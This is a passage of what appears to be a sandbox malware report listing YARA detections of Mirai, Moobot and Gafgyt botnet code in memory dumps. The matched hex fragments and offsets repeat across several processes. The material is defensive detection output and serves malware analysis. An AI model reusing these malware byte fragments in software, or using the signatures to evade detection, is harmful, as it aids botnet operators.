78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6507.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7306.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7306.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7306.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7306.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7306.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7306.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6643.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6643.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6643.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6643.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6643.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6643.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6764.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6764.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6764.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6764.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6764.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6764.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6733.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6733.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6733.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6733.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6733.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6733.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6421.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6421.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6421.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6421.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6421.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6421.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6598.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7376.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7376.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7376.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7376.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7376.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 